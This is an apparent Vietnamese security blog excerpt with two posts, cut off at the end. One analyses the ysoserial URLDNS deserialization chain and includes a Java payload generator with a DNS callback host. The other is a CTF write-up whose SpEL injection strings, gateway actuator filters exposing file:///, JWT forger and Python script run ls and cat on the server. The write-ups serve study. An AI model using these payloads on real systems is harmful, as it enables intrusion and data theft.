(Serializable). Việc dùng URL làm key là quan trọng: HashMap sử dụng hashCode() của key để tính bucket; khi HashMap được deserialize, mã sẽ tính lại hashCode cho từng key, và đó là lúc URL có thể thực hiện lookup. Reflections.setFieldValue(u, \u0026#34;hashCode\u0026#34;, -1); Gọi reflection, ta để ý ở trên giá trị u đã được put ở bên trên sau đó nó được hashcode tính là tiến hành cache bây giờ chỉ cần giá trị hashcode được gọi thì nó sẽ tiến hành DNS request sau đó cài hashcode là -1 thì nó sẽ tự dọn đi giá trị cũ hashmap sau chỉ cần có giá trị mới nó sẽ lặp lại quá trình trigger. return ht; Trả về HashMap chứa URL key. Khi object này được serialized rồi gửi tới server mục tiêu và server gọi ObjectInputStream.readObject(), HashMap.readObject() sẽ khôi phục các entry và gọi put/rehash, dẫn tới gọi URL.hashCode() =\u0026gt; DNS lookup. Debug Bây giờ ta sẽ Debug từ hàm main để xem nó như thế nào.\nĐầu tiên ta sẽ click phải vào hàm main sau đó đi đến Edit Run Configuration ở đây là URLDNS nó hiện ra cho bạn sau đó sử dụng bất kì công cụ nào để bắt request cũng được bạn có thể dùng Burp Collab ở đây mình dùng RequestRepo để bắt được DNS request trả về.\nSau khi apply và ok thì ta sẽ bấm debug hàm main này chờ xem kết quả trả về ở đây là gì.\nKết quả trả về khá là khả quan nó đã connect đến target sau đó gen payload tiến hành serialize sau đó deserialize cuối cùng là disconnect với target bây giờ truy cập target xem có request nào không.\nThành công bắt trọn được 2 DNS request vậy ta chắc chắn rằng payload thực hiện DNS request tốt bây giờ tiến hành đặt breakpoint để đi theo flow của gadget chains.\nĐầu tiên ta thử breakpoint ở hàm main trước.\nDebug đã nhận bây giờ dùng phím F7 để có thể tiếp tục chạy đến xem thử flow xử lý của code payload này.\nKhi chạy đến nơi xử lý HashMap ta thấy rằng giá trị URL đã được gắn vào key đó.\nSau khi chạy đến đoạn ht.put(u, url); thì ta thấy nó bắt đầu trigger DNS request giá trị các trường được gắn bên dưới ta sẽ khám phá nơi hàm put này được khai báo để xem nó có gọi đến gadget nào không.\nỞ đây ta thấy nó trỏ đến hàm này mà ta để ý rằng trong đoạn comment của chain có\nMà ta để ý rằng hàm readObject nằm bên trong rt.jar bây giờ nó gọi đến putVal hay là HashMap.putVal()\nTra đường đi của hàm readObject ta thấy rằng nó được gọi ở đây ở ngay hàm readObject ở đây ta có thể thử đặt breakpoint để debug.\nCó thể thấy các key value đã được gán vào bây giờ ta sẽ thử trỏ đến method hash(key) xem thử nó gọi đến đâu tiến hành F7 và chọn vào method hash.\nTừ method readObject() gọi tới method hash() và có truyền vào biến key, giá trị của key chính là URL Object của target mình cần resolve DNS.\nTại đây nó gọi tới method hash của object key vừa được truyền vào cụ thể là key.hashcode() hay lúc này là URL.hashcode().\nMethod hashCode() nằm ở class URL tiến hành check xem thử có giá trị hashCode nào được cache không trong trường hợp nó đã được cache thì nó sẽ return về giá trị luôn có nghĩa là nếu hashCode != -1 thì nó sẽ return luôn và đoạn chain nó sẽ đứt ở đây vì thế thứ ta cần là để nó thoả mãn điều kiện if để URL.hashCode() được call đến handler.hashCode(). Vì thế ở đây để điều kiện nó luôn = -1 thì ta sẽ sử dụng java reflection.\nTa có thể thấy rằng trong payload tác giả đã để sẵn một hàm Reflection và set giá trị hashCode() luôn luôn là -1.\nỞ bên dưới ta còn thấy object hashCode() còn được handler gọi đến ta sẽ đi đến thử handler này xem nó xử lý gì.\nVì ở đây là một giá trị private field ta sẽ dùng thử reflection để dựng lại URLDNS chain xem thử nó có đúng với luồng hoạt động mà ta đã đi không.\nURL u1 = new URL(null, \u0026#34;https://a7kvklhv.requestrepo.com/\u0026#34;, handler); ht.put(u1, \u0026#34;https://a7kvklhv.requestrepo.com/\u0026#34;); Field test = URL.class.getDeclaredField(\u0026#34;hashCode\u0026#34;); test.setAccessible(true); test.set(u1, -1); return ht; Tạo biến URL mới bao gồm 3 giá trị bên trong sử dụng lại ht khi đã gọi HashMap sau đó lấy Field HashCode từ class URL sau đó ta sẽ set cho Field đó là Accessible là true vì khi không set thì nó mặc định Field đã là private thì mình không thể reflect đến được sau đó ta tiến hành set giá trị object của class URL ở đây ta set là -1.\nTa có thể thấy debug đã đúng như ta dự đoán giá trị hashCode của object u1 đã được set thành -1 thành công kiểm chứng được reflected ta sẽ thử đổi thành 1 xem liệu nó có thay đổi không nếu thanh đổi được thì gadget đã đúng với hướng.\nThành công đổi hashCode thành 1 vậy là ta đã dựng được đúng.\nSau quá trình phân tích reflected ta tiếp tục debug với handler xem nó xử lý gì tiếp ở sau.\nNhư các bạn đã thấy thì URL.hashCode() sẽ call tới handler.hashCode(), handler ở đây là object của class URLStreamHandler\nHàm này được khai báo abstract ta sẽ thử debug đọc từng dòng trong class URLStreamHandler.\nTìm thấy một hàm rất khả nghi ở đây vì ở đây nó thực hiện getHostAddress(u) sau đó nếu mà biến u != null thì thực hiện gọi đến hashCode() nên ta sẽ thử đặt một cái breakpoint ngay hàm này xem.\nỞ đây nếu debug tiếp nó sẽ gọi về url DNS của mình ta tiếp tục follow.\nTa thấy rằng ở đây InetAddress .getByName() đã gọi đến host trong khi đó nó trỏ đến URL của ta thêm vào vậy đây chính là sink của cả payload là nơi thực thi resolve DNS.\nĐây là file Generation Payload nó sẽ trả về file dưới dạng base64 format giống như payload do payload gốc đưa ra.\npackage ysoserial.payloads; import java.io.*; import java.lang.reflect.Field; import java.net.*; import java.util.Base64; import java.util.HashMap; /** * URLDNSPayloadGenerator * * - Tạo payload HashMap giống chain URLDNS (URL key với SilentURLStreamHandler). * - Set URL.hashCode field = -1 bằng reflection để trigger lookup khi deserialize. * - Nếu chỉ truyền \u0026lt;target-url\u0026gt;: in payload dưới dạng Base64 ra stdout (text). */ public class URLDNSPayloadGenerator { public static class SilentURLStreamHandler extends URLStreamHandler { @Override protected URLConnection openConnection(URL u) throws IOException { throw new UnsupportedOperationException(\u0026#34;Silent handler: no real connection\u0026#34;); } protected InetAddress getHostAddress(URL u) { return null; } } public static Object makePayload(String targetUrl) throws Exception { URLStreamHandler handler = new SilentURLStreamHandler(); HashMap\u0026lt;Object, Object\u0026gt; ht = new HashMap\u0026lt;\u0026gt;(); URL u = new URL(null, targetUrl, handler); ht.put(u, targetUrl); Field hashCodeField = URL.class.getDeclaredField(\u0026#34;hashCode\u0026#34;); hashCodeField.setAccessible(true); hashCodeField.setInt(u, -1); // URL.hashCode is int, so setInt is safe return ht; } public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.flush(); oos.close(); return baos.toByteArray(); } public static void usage(PrintStream err) { err.println(\u0026#34;Usage: java URLDNSPayloadGenerator \u0026lt;target-url\u0026gt; [out-file]\u0026#34;); err.println(\u0026#34;If no out-file provided, Base64-encoded payload is printed to stdout.\u0026#34;); err.println(\u0026#34;If out-file is provided, raw binary payload is written to that file.\u0026#34;); err.println(\u0026#34;Examples:\u0026#34;); err.println(\u0026#34; java URLDNSPayloadGenerator https://a7kvklhv.requestrepo.com/\u0026#34;); err.println(\u0026#34; java URLDNSPayloadGenerator https://a7kvklhv.requestrepo.com/ payload.bin\u0026#34;); } public static void main(String[] args) { if (args.length \u0026lt; 1) { usage(System.err); System.exit(64); } String target = args[0]; String outFile = (args.length \u0026gt;= 2) ? args[1] : null; try { Object payload = makePayload(target); byte[] ser = serialize(payload); if (outFile != null) { try (FileOutputStream fos = new FileOutputStream(outFile)) { fos.write(ser); } System.err.println(\u0026#34;Raw payload written to: \u0026#34; + outFile); } else { // In Base64 để dễ copy/paste (stdout là text, không binary) String b64 = Base64.getEncoder().encodeToString(ser); System.out.println(b64); } } catch (Throwable t) { System.err.println(\u0026#34;Error while generating payload:\u0026#34;); t.printStackTrace(System.err); System.exit(70); } } } ","permalink":"https://blog.pzhat.id.vn/posts/2025-10-28-ysoserial-urldns/","summary":"\u003ch1 id=\"java-deserialze---urldns-chain-analysis-ysoserial\"\u003eJava Deserialze - URLDNS Chain analysis (ysoserial)\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/r1R3sp6Rgl.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"java-deserialize-là-gì\"\u003eJava Deserialize là gì?\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eJava cung cấp cho người dùng hàm \u003ccode\u003ewriteObject()\u003c/code\u003e để tiến hành quá trình \u003ccode\u003eserialize\u003c/code\u003e các object ở đây quá trình serialize sinh ra để chuyển một đối tượng Java thành chuỗi byte để lưu trữ (file, DB) hoặc truyền qua mạng (socket, RMI, JMS).\u003c/li\u003e\n\u003cli\u003eVà để có thể đọc được dữ liệu được serialize từ \u003ccode\u003eObjectInputStream\u003c/code\u003e ta có quá trình \u003ccode\u003edeserialize\u003c/code\u003e ở java sử dụng hàm \u003ccode\u003ereadObject()\u003c/code\u003e cho quá trình đó.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"khai-thác-java-object-injection\"\u003eKhai thác Java Object Injection\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRủi ro sẽ đến với các đối tượng xử lý deserialize các \u003ccode\u003eUntrusted Data\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eAttacker có thể lợi dụng các magic method, cách mà OOP vận hành từ đó tạo ra \u003ccode\u003eexploit chain\u003c/code\u003e hoàn chỉnh và tiến hành sử dụng payload.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"tiến-hành-setup-môi-trường-test\"\u003eTiến hành Setup môi trường test\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/S1UCyu2Clg.png\"\u003e\u003c/p\u003e","title":"Java Deserialze - URLDNS Chain analysis (ysoserial)"},{"content":"Spring Time CTF challenge WriteUp Web App được chia làm 2 services khác nhau bao gồm:\ngateman : port 8080 newsman : port 8082 Phân tích từng chức năng từng service Gateman Nó được chạy bằng port 8080 bên cạnh đó nó còn gọi cloud cùng với đó là expose include ra các chức năng như health , info , gateway. Vậy nên có thể biết được đây là service Spring Cloud với chức năng routing đến các routes.\nNewsman Ta sẽ đi thẳng vào luôn đầu tiên là NewsController.class:\n// Source code is decompiled from a .class file using FernFlower decompiler (from Intellij IDEA). package io.newsman.web; import io.newsman.model.News; import io.newsman.model.RoleEnum; import io.newsman.model.User; import java.time.LocalDate; import java.util.List; import java.util.Map; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import reactor.core.publisher.Flux; import reactor.core.publisher.Mono; @RestController @RequestMapping({\u0026#34;/news\u0026#34;}) public class NewsController { private final List\u0026lt;News\u0026gt; newsStore = NewsDB.getNewsStore(); private final NewsService newsService = new NewsService(); public NewsController() { } @GetMapping public Flux\u0026lt;News\u0026gt; getAllNews() { return Flux.fromIterable(this.newsStore); } @GetMapping({\u0026#34;/{id}\u0026#34;}) public Mono\u0026lt;News\u0026gt; getNewsById(@PathVariable String id) { return Flux.fromIterable(this.newsStore).filter((news) -\u0026gt; { return news.getId().equals(id); }).next(); } @PostMapping public Mono\u0026lt;News\u0026gt; addNews(@RequestBody News newNews) { if (newNews.getDate() == null) { newNews.setDate(LocalDate.now()); } this.newsStore.add(newNews); return Mono.just(newNews); } @PutMapping({\u0026#34;/{id}\u0026#34;}) public Mono\u0026lt;News\u0026gt; updateNews(@PathVariable String id, @RequestBody News updatedNews) { return Flux.fromIterable(this.newsStore).filter((news) -\u0026gt; { return news.getId().equals(id); }).next().flatMap((existing) -\u0026gt; { existing.setTitle(updatedNews.getTitle()); existing.setDescription(updatedNews.getDescription()); existing.setBody(updatedNews.getBody()); existing.setAuthor(updatedNews.getAuthor()); existing.setDraft(updatedNews.isDraft()); existing.setDate(LocalDate.now()); return Mono.just(existing); }); } @GetMapping({\u0026#34;/{id}/view\u0026#34;}) public Mono\u0026lt;String\u0026gt; renderNewsBody(@RequestHeader(\u0026#34;Authorization\u0026#34;) String authHeader, @PathVariable String id) { String token = authHeader.replace(\u0026#34;Bearer \u0026#34;, \u0026#34;\u0026#34;); Map\u0026lt;String, Object\u0026gt; tokenBody = this.newsService.getTokenBody(token); User user = new User(); user.setName((String)tokenBody.get(\u0026#34;sub\u0026#34;)); user.setRole(RoleEnum.valueOf((String)tokenBody.get(\u0026#34;role\u0026#34;))); return Flux.fromIterable(this.newsStore).filter((news) -\u0026gt; { return news.getId().equals(id); }).next().map((news) -\u0026gt; { return this.newsService.render(news.getBody(), user); }); } } Đầu tiên là 2 annotation chính là @RestController và @RequestMapping sau đó khởi tạo class NewsController chứa các thuộc tính là newsStore và newsService :\nnewsStore: Một danh sách (List) các đối tượng News, được khởi tạo từ NewsDB.getNewsStore(). newsService: Một đối tượng của lớp NewsService, chứa các logic liên quan đến tin tức. Tiếp đến là các endpoints khác nhau được HTTP xử lý :\nLấy tất cả tin tức (getAllNews) Xử lý yêu cầu GET đến đường dẫn /news, phương thức getAllNews() trả về một Flux\u0026lt;News\u0026gt;. Flux là một đối tượng của Project Reactor, đại diện cho một chuỗi (sequence) gồm 0 hoặc nhiều phần tử.\nLấy tin tức theo id (getNewsById) Xử lý news theo url id cụ thể ví dụ như /news/123 nó sẽ tìm kiếm trong newsStore để tìm ra tin tức có id tương ứng để trả về cho user.\nThêm tin tức mới (addNews) Xử lý yêu cầu POST đến đường dẫn /news để tạo một tin tức mới.\nLogic:\n@RequestBody chuyển đổi nội dung (body) của yêu cầu (JSON) thành một đối tượng News. Nếu ngày tháng của tin tức mới chưa được thiết lập, nó sẽ được gán bằng ngày hiện tại. Tin tức mới sau đó được thêm vào newsStore. Phương thức trả về một Mono \u0026lt;News\u0026gt; chứa thông tin về tin tức vừa được tạo. Cập nhật tin tức (updateNews) Xử lý yêu cầu PUT đến đường dẫn của một tin tức cụ thể (ví dụ: /news/123) để cập nhật thông tin của nó.\nLogic:\nLấy id từ đường dẫn và dữ liệu cập nhật từ body của yêu cầu. Tìm tin tức hiện có với id tương ứng. Cập nhật các thuộc tính của tin tức hiện có bằng dữ liệu từ updatedNews. Gán ngày cập nhật là ngày hiện tại. Trả về một Mono \u0026lt;News\u0026gt; chứa thông tin tin tức đã được cập nhật. Xem nội dung tin tức () Xử lý yêu cầu GET đến đường dẫn /news/{id}/view để xem nội dung của một tin tức đã được render. @RequestHeader(\u0026ldquo;Authorization\u0026rdquo;) lấy giá trị của header Authorization từ yêu cầu. Header này thường chứa một token xác thực. Trích xuất token bằng cách loại bỏ phần \u0026ldquo;Bearer \u0026ldquo;. Sử dụng newsService.getTokenBody(token) để giải mã token và lấy thông tin người dùng. Tạo một đối tượng User. Tìm tin tức với id tương ứng. Sử dụng newsService.render(news.getBody(), user) để xử lý và trả về nội dung của tin tức. Cuối cùng, trả về một Mono \u0026lt;String\u0026gt; chứa nội dung đã được xử lý của tin tức. Tìm kiếm sink có thể exploit Sau khi phân tích source trên ta có thể thấy rằng ta hoàn toàn có thể thực hiện SpEL Injection bằng chức năng view. Ở đây kịch bản tấn công sẽ là đăng bài có chứa content của SpEL bằng hàm updateNews sau đó truy cập đến với /id/view để có thể trigger được method render sau đó thực thi SpEL body mà ta đã update lên.\nLuồng Tấn Công (Attack Flow)\nĐiểm vào (Entry Point): Attacker có thể kiểm soát nội dung của trường body trong một đối tượng News. Attacker có thể làm điều này bằng cách gửi một yêu cầu POST tới endpoint /news (hàm addNews) hoặc một yêu cầu PUT tới endpoint /news/{id} (hàm updateNews). Dữ liệu này được lưu trữ trong newsStore. Điểm Thực thi (Execution Sink): Khi user gửi yêu cầu GET tới endpoint /{id}/view (hàm renderNewsBody), ứng dụng sẽ thực hiện các bước sau: Nó lấy đối tượng News từ newsStore dựa trên id. Nó lấy trường body của đối tượng News đó (đây chính là nội dung do attacker kiểm soát). Nó gọi hàm newsService.render(news.getBody(), user). Ở class NewsService.class ta có đoạn này :\n// NewsService.java public String render(String bodyTemplate, Object model) { SafeEvaluationContext ctx = new SafeEvaluationContext(model); // Dòng mã cốt lõi gây ra vấn đề nằm ở đây return (String)this.parser.parseExpression(bodyTemplate, this.templateParser).getValue(ctx, String.class); } Bước 1: Phân tích (Parsing) - \u0026ldquo;Đọc và Hiểu Biểu Thức\u0026rdquo;\nPhần này của code chịu trách nhiệm đọc chuỗi đầu vào và chuyển nó thành một biểu thức có thể thực thi được:\nthis.parser.parseExpression(bodyTemplate, this.templateParser) this.parser: Đây là một đối tượng của lớp SpelExpressionParser. Nhiệm vụ của nó giống như một \u0026ldquo;trình biên dịch\u0026rdquo; cho ngôn ngữ SpEL. Nó nhận một chuỗi văn bản và phân tích cú pháp của nó để xem liệu nó có phải là một biểu thức SpEL hợp lệ hay không. bodyTemplate: Đây chính là chuỗi news.getBody() được lấy từ cơ sở dữ liệu. Đây là điểm mấu chốt của lỗ hổng, vì chuỗi này đến từ người dùng và không được lọc hay kiểm tra. Kẻ tấn công có thể chèn mã SpEL độc hại vào đây, ví dụ: #{T(java.lang.Runtime).getRuntime().exec(\u0026lsquo;calc.exe\u0026rsquo;)}. this.templateParser: Đây là một đối tượng TemplateParserContext. Bối cảnh (context) này chỉ thị cho parser rằng nó không nên coi toàn bộ chuỗi bodyTemplate là một biểu thức duy nhất. Thay vào đó, nó nên tìm kiếm các biểu thức được nhúng bên trong chuỗi theo một cú pháp đặc biệt. Cú pháp mặc định là #{ biểu_thức }. Kết quả của bước này: parseExpression trả về một đối tượng Expression. Đối tượng này là phiên bản đã được \u0026ldquo;biên dịch\u0026rdquo; và sẵn sàng để thực thi của chuỗi SpEL mà nó tìm thấy trong bodyTemplate. Nếu không tìm thấy biểu thức #{\u0026hellip;}, nó sẽ coi toàn bộ chuỗi là văn bản thông thường. Bước 2: Thực thi (Execution) - \u0026ldquo;Chạy Biểu Thức\u0026rdquo; Sau khi đã có đối tượng Expression, phần còn lại của dòng mã sẽ thực thi nó:\n.getValue(ctx, String.class) .getValue(\u0026hellip;): Đây là phương thức thực hiện hành động. Nó lấy đối tượng Expression đã được biên dịch và chạy nó. ctx: Đây là EvaluationContext (bối cảnh đánh giá). Nó cung cấp \u0026ldquo;môi trường\u0026rdquo; cho biểu thức chạy. Nó chứa các biến, hàm và đối tượng mà biểu thức có thể truy cập. Trong trường hợp này, ctx chứa đối tượng user (được truyền vào dưới dạng model). Từ đây ta đã tìm được sink để có thể khai thác còn nếu muốn hiểu rõ hơn thì nên decompile phần SPRING-EXPRESSION-6.2.11.\nVậy là bước đầu ta đã biết được vì sao có thể chạy SpEL và thực thi để thực thi SpEL Injection nhưng có một vấn đề là ở class SafeEvaluationContext nó đã dùng black list chặn đi class getclass forname nhưng dựa theo ý tưởng của CVE-2025-48734 ta hoàn toàn có thể sử dụng hàm getDeclaringClass() để bypass và dẫn đến SSRF để truy cập vào service nội bộ qua đó từ đây ta có thể tạo một kênh có thể truy cập từ bên ngoài đến trong service nội bộ :\nLỗ hổng xảy ra trong Apache Commons BeanUtils, nơi declaredClass property của các enum Java có thể bị truy cập thông qua một cơ chế không được bảo vệ. Điều này cho phép kẻ tấn công truy cập ClassLoader của ứng dụng, dẫn đến khả năng thao tác với các tài nguyên thông qua Reflection hoặc các API của Java. CVE-2025-48734\nVới case sử dụng SpEL như này và trong trường hợp này ta phải có jwt token của admin để có thể update các bài viết thì ta cần jwt secret để có thể mạo danh admin.\nỞ đây nó đã cấp cho ta secret jwt nên ta sẽ tham khảo cách mà CVE-2025-41243 hoạt động ở bài viết này : CVE-2025-41243\nVới case này ta hoàn toàn có thể tận dụng để thực thi SpEL Injection cùng với đó là lợi dụng SSRF ở trên để đọc system path bên trong thay vì trỏ đến resources vì ở đây nó không hề giới hạn quyền access đến các gateway của Spring-cloud nên ta có thể lợi dụng 2 CVE đó ở đây SpEL được dùng để thực thi cách lệnh hệ thống như là ls hoặc cat thông qua java reflection api cùng với đó là tận dụng cầu nối từ SSRF để truy cập nội bộ nên ta có một cái sink hoàn chỉnh.\nTruy cập đến url http://localhost:8080/actuator/gateway/routes ta có thể thấy được routes cũ hay cho nó là default đi luôn bây giờ ta sẽ tạo một route mới xem thử nó sẽ như thế nào.\nTạo route mới có tên testabc ở phần server trả về 201 đã thành công tạo bây giờ ta sẽ refresh để apply route mới vào.\nThành công refresh lại.\nTrong payload của ta sẽ có các filter để áp dụng vào trong route bao gồm :\nFilter 1: Bypass hạn chế truy cập SpEL { \u0026#34;name\u0026#34;: \u0026#34;AddResponseHeader\u0026#34;, \u0026#34;args\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;Test\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;#{@systemProperties[\u0026#39;spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled\u0026#39;] = false}\u0026#34; } } Mục đích:\nVô hiệu hóa thuộc tính spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled, vốn mặc định là true. Hành động:\nThuộc tính này kiểm soát quyền truy cập vào các property nhạy cảm trong Spring WebFlux. Khi được đặt thành false, nó cho phép SpEL truy cập và chỉnh sửa những property hoặc thực thi các phương thức nguy hiểm. Hậu quả:\nCác filter khác có thể sử dụng SpEL để thực hiện các hành động nguy hiểm hơn, chẳng hạn như đọc hoặc ghi dữ liệu nhạy cảm.\nFilter 2: Expose file system qua mapping /webjars/\n{ \u0026#34;name\u0026#34;: \u0026#34;AddResponseHeader\u0026#34;, \u0026#34;args\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;Test\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;#{@resourceHandlerMapping.urlMap[\u0026#39;/webjars/**\u0026#39;].locationValues[0]=\u0026#39;file:///\u0026#39; }\u0026#34; } } Mục đích:\nThay đổi mapping của đường dẫn /webjars/** để trỏ đến hệ thống file cục bộ (file:///). Hành động:\nThuộc tính urlMap của bean resourceHandlerMapping được chỉnh sửa để ánh xạ mọi request tới /webjars/** vào hệ thống tệp cục bộ. Hậu quả:\nKẻ tấn công có thể truy cập file system của máy chủ thông qua HTTP chẳng hạn như là GET /webjars/etc/passwd.\nFilter 3: Áp dụng thay đổi mapping\n{ \u0026#34;name\u0026#34;: \u0026#34;AddResponseHeader\u0026#34;, \u0026#34;args\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;Test\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;#{@resourceHandlerMapping.urlMap[\u0026#39;/webjars/**\u0026#39;].afterPropertiesSet}\u0026#34; } } Mục đích:\nGọi phương thức afterPropertiesSet của bean resourceHandlerMapping để áp dụng thay đổi mapping được thực hiện ở filter 2. Hành động: Phương thức afterPropertiesSet được gọi để tái cấu hình bean resourceHandlerMapping, đảm bảo rằng mapping /webjars/** tới file:/// có hiệu lực. Hậu quả: Các thay đổi mapping sẽ được kích hoạt ngay lập tức, cho phép attacker khai thác file system qua HTTP. Thành công đọc được etc/passwd vậy là ta đã có hướng để có thể khai thác vào service nội bộ, bây giờ vẫn flow như cũ nhưng ta sẽ khai thác ở localhost:8082 là NewsMan service.\nỞ phần security ta thấy nó xử lý phần authen bằng jwt\nBên cạnh đó nó còn gọi thêm 1 biến role để gán vào jwt.\nCó 3 role chính là ADMIN USER VIEWER .\nExploit Bây giờ dựa vào POC ở bên trên đã cho ta thấy rằng SpEL Injection sử dụng CVE-2025-41243 và thành công đọc được /etc/passwd bây giờ ta sẽ sẽ khai thác service NewsMan.\n{% raw %}\nimport base64 import hashlib import hmac import json import time import requests import re secret = \u0026#39;fake_secret_for_testing\u0026#39; base_url = \u0026#39;http://localhost:8080\u0026#39; headers = {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;} # === 1. Generate JWT token === def generate_jwt(): key = hashlib.sha256(secret.encode()).hexdigest().encode() header = {\u0026#39;alg\u0026#39;: \u0026#39;HS256\u0026#39;, \u0026#39;typ\u0026#39;: \u0026#39;JWT\u0026#39;} payload = { \u0026#39;sub\u0026#39;: \u0026#39;admin\u0026#39;, \u0026#39;role\u0026#39;: \u0026#39;ADMIN\u0026#39;, \u0026#39;iat\u0026#39;: int(time.time()), \u0026#39;exp\u0026#39;: int(time.time()) + 3600 } b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b\u0026#39;=\u0026#39;) signing = b\u0026#39;.\u0026#39;.join([ b64(json.dumps(header, separators=(\u0026#39;,\u0026#39;, \u0026#39;:\u0026#39;)).encode()), b64(json.dumps(payload, separators=(\u0026#39;,\u0026#39;, \u0026#39;:\u0026#39;)).encode()) ]) sig = base64.urlsafe_b64encode(hmac.new(key, signing, hashlib.sha256).digest()).rstrip(b\u0026#39;=\u0026#39;) return (signing + b\u0026#39;.\u0026#39; + sig).decode() token = generate_jwt() auth_header = {\u0026#39;Authorization\u0026#39;: f\u0026#39;Bearer {token}\u0026#39;} # === 2. Đăng ký route gateway === requests.post( f\u0026#39;{base_url}/actuator/gateway/routes/news\u0026#39;, headers=headers, json={ \u0026#34;id\u0026#34;: \u0026#34;news\u0026#34;, \u0026#34;predicates\u0026#34;: [{\u0026#34;name\u0026#34;: \u0026#34;Path\u0026#34;, \u0026#34;args\u0026#34;: {\u0026#34;_genkey_0\u0026#34;: \u0026#34;/news/**\u0026#34;}}], \u0026#34;uri\u0026#34;: \u0026#34;http://127.0.0.1:8082\u0026#34; } ) requests.post(f\u0026#39;{base_url}/actuator/gateway/refresh\u0026#39;) # === 3. Gửi payload SpEL để lấy tên flag qua ls === payload_ls = { \u0026#34;id\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;title\u0026#34;: \u0026#34;t\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;d\u0026#34;, \u0026#34;body\u0026#34;: \u0026#34;#{role.getDeclaringClass().getClassLoader().loadClass(\\\u0026#34;java.util.Scanner\\\u0026#34;).getConstructors().?[getParameterCount()==1 and getParameterTypes()[0].getName().equals(\\\u0026#34;java.io.InputStream\\\u0026#34;)][0].newInstance(role.getDeclaringClass().getClassLoader().loadClass(\\\u0026#34;java.lang.Runtime\\\u0026#34;).getMethod(\\\u0026#34;getRuntime\\\u0026#34;).invoke(null).exec(\\\u0026#34;ls /app\\\u0026#34;).getInputStream()).useDelimiter(\\\u0026#34;\\\\\\\\A\\\u0026#34;).next()}\u0026#34;, \u0026#34;author\u0026#34;: \u0026#34;a\u0026#34;, \u0026#34;draft\u0026#34;: False } requests.put(f\u0026#39;{base_url}/news/1\u0026#39;, headers={**headers, **auth_header}, json=payload_ls) resp_ls = requests.get(f\u0026#39;{base_url}/news/1/view\u0026#39;, headers=auth_header) flag_file = re.search(r\u0026#39;flag-[\\w\\d]+\u0026#39;, resp_ls.text) if not flag_file: print(\u0026#34;Không tìm thấy flag file\u0026#34;) exit(1) flag_name = flag_file.group(0) print(f\u0026#34;Found flag: {flag_name}\u0026#34;) payload_cat = { \u0026#34;id\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;title\u0026#34;: \u0026#34;t\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;d\u0026#34;, \u0026#34;body\u0026#34;: f\u0026#34;#{{role.getDeclaringClass().getClassLoader().loadClass(\\\u0026#34;java.util.Scanner\\\u0026#34;).getConstructors().?[getParameterCount()==1 and getParameterTypes()[0].getName().equals(\\\u0026#34;java.io.InputStream\\\u0026#34;)][0].newInstance(role.getDeclaringClass().getClassLoader().loadClass(\\\u0026#34;java.lang.Runtime\\\u0026#34;).getMethod(\\\u0026#34;getRuntime\\\u0026#34;).invoke(null).exec(\\\u0026#34;cat /app/{flag_name}\\\u0026#34;).getInputStream()).useDelimiter(\\\u0026#34;\\\\\\\\A\\\u0026#34;).next()}}\u0026#34;, \u0026#34;author\u0026#34;: \u0026#34;a\u0026#34;, \u0026#34;draft\u0026#34;: False } requests.put(f\u0026#39;{base_url}/news/1\u0026#39;, headers={**headers, **auth_header}, json=payload_cat) resp_flag = requests.get(f\u0026#39;{base_url}/news/1/view\u0026#39;, headers=auth_header) print(\u0026#34;\\nFlag output:\u0026#34;) print(resp_flag.text) {% endraw %}\nLuồng hoạt động tổng quan 1. Tạo JWT Token:\nScript tạo token giả mạo với quyền admin để bỏ qua cơ chế xác thực. 2. Đăng ký Route Gateway:\nRoute /news/** được đăng ký trong Spring Cloud Gateway để chuyển tiếp yêu cầu đến Newsman. (SSRF) 3. Liệt kê file trong /app:\nPayload SpEL thực thi lệnh ls /app để liệt kê file. Script tìm tên file flag trong kết quả trả về. 4. Đọc nội dung file flag:\nPayload SpEL thực thi lệnh cat trên file flag để đọc nội dung. Script hiển thị nội dung flag. Giải thích Payload và Cách Hoạt Động Payload Lệnh ls trong Body :\nSpEL Injection \u0026#34;body\u0026#34;: \u0026#34;#{role.getDeclaringClass().getClassLoader().loadClass(\\\u0026#34;java.util.Scanner\\\u0026#34;).getConstructors().?[getParameterCount()==1 and getParameterTypes()[0].getName().equals(\\\u0026#34;java.io.InputStream\\\u0026#34;)][0].newInstance(role.getDeclaringClass().getClassLoader().loadClass(\\\u0026#34;java.lang.Runtime\\\u0026#34;).getMethod(\\\u0026#34;getRuntime\\\u0026#34;).invoke(null).exec(\\\u0026#34;ls /app\\\u0026#34;).getInputStream()).useDelimiter(\\\u0026#34;\\\\\\\\A\\\u0026#34;).next()}\u0026#34; SpEL (Spring Expression Language) là một ngôn ngữ biểu thức được hỗ trợ bởi Spring Framework để thao tác với các đối tượng runtime trong ứng dụng. Ở đây, lỗ hổng cho phép attacker đưa 